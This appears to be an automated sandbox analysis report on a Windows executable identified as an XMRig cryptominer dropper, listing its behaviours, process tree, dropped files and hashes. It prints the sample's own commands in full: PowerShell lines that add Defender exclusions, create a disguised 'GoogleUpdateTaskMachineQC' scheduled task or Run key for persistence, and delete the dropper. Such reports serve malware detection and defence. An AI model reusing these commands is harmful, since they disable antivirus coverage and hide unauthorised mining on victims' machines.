Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1388s
  • max time network
    1806s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1216
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2480
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2536
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2760
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:1272
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2596
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:2576
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2964
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:800
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:816
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1396
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:3016
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3040
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1992
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {ED016A7A-D268-4E6A-8B28-B11DCEC780B3} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:3060
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2984
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:1580

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 1.2MB
              • SHA256 4d9a87628fad171701b43b8ad85ac3f887223cec6be3e60e28fb7be610ebcd3b
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 512KB
              • SHA256 09f8f97d4c6fb632b9e0b88fe92b7c1d8f8bd3755e51529599d524b72fbc1386
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 f4d0d738ff98258cdeb411a51b3aae827d255238be85eefc256e2f52b67d814b
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 1.1MB
              • SHA256 7926343d68516557e9d43e54ab38a4983fe3c8e4bb2b4949b08dfc842afbf971
              • MD5 SHA1 SHA512 SSDEEP

              memory/800-59-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/800-58-0x0000000000850000-0x00000000008D0000-memory.dmp

              memory/800-57-0x0000000000850000-0x00000000008D0000-memory.dmp

              memory/800-56-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/800-55-0x0000000000850000-0x00000000008D0000-memory.dmp

              memory/800-54-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/1992-87-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-95-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-136-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-134-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-132-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-130-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-120-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-118-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-116-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-114-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-112-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-110-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-108-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-106-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-93-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-91-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-89-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-80-0x0000000000BD0000-0x0000000000BF0000-memory.dmp

              memory/1992-81-0x0000000000BF0000-0x0000000000C10000-memory.dmp

              memory/1992-79-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-78-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-76-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-72-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1992-70-0x0000000000BF0000-0x0000000000C10000-memory.dmp

              memory/1992-69-0x0000000000BD0000-0x0000000000BF0000-memory.dmp

              memory/1992-67-0x00000000001B0000-0x00000000001D0000-memory.dmp

              memory/1992-68-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2480-0-0x000000013FC60000-0x000000013FE71000-memory.dmp

              memory/2480-29-0x000000013FC60000-0x000000013FE71000-memory.dmp

              memory/2536-5-0x000000001AFC0000-0x000000001B2A2000-memory.dmp

              memory/2536-6-0x0000000002630000-0x0000000002638000-memory.dmp

              memory/2536-7-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/2536-8-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/2536-9-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/2536-13-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/2536-10-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/2536-12-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/2536-11-0x00000000023A0000-0x0000000002420000-memory.dmp

              memory/2596-38-0x0000000002340000-0x00000000023C0000-memory.dmp

              memory/2596-36-0x0000000002340000-0x00000000023C0000-memory.dmp

              memory/2596-35-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/2596-37-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/2596-40-0x0000000002340000-0x00000000023C0000-memory.dmp

              memory/2596-39-0x0000000002340000-0x00000000023C0000-memory.dmp

              memory/2596-41-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/2808-25-0x00000000028E0000-0x0000000002960000-memory.dmp

              memory/2808-21-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

              memory/2808-20-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

              memory/2808-23-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

              memory/2808-19-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

              memory/2808-22-0x00000000028E0000-0x0000000002960000-memory.dmp

              memory/2808-24-0x00000000028E0000-0x0000000002960000-memory.dmp

              memory/2808-26-0x00000000028E0000-0x0000000002960000-memory.dmp

              memory/2808-27-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

              memory/2964-53-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

              memory/2964-51-0x0000000000FF0000-0x0000000001070000-memory.dmp

              memory/2964-52-0x0000000000FFB000-0x0000000001062000-memory.dmp

              memory/2964-50-0x0000000000FF0000-0x0000000001070000-memory.dmp

              memory/2964-47-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

              memory/2964-49-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

              memory/2964-48-0x0000000000FF0000-0x0000000001070000-memory.dmp

              memory/2984-66-0x000000013F830000-0x000000013FA41000-memory.dmp

              memory/2984-45-0x000000013F830000-0x000000013FA41000-memory.dmp

              memory/3040-71-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/3040-75-0x0000000140000000-0x0000000140016000-memory.dmp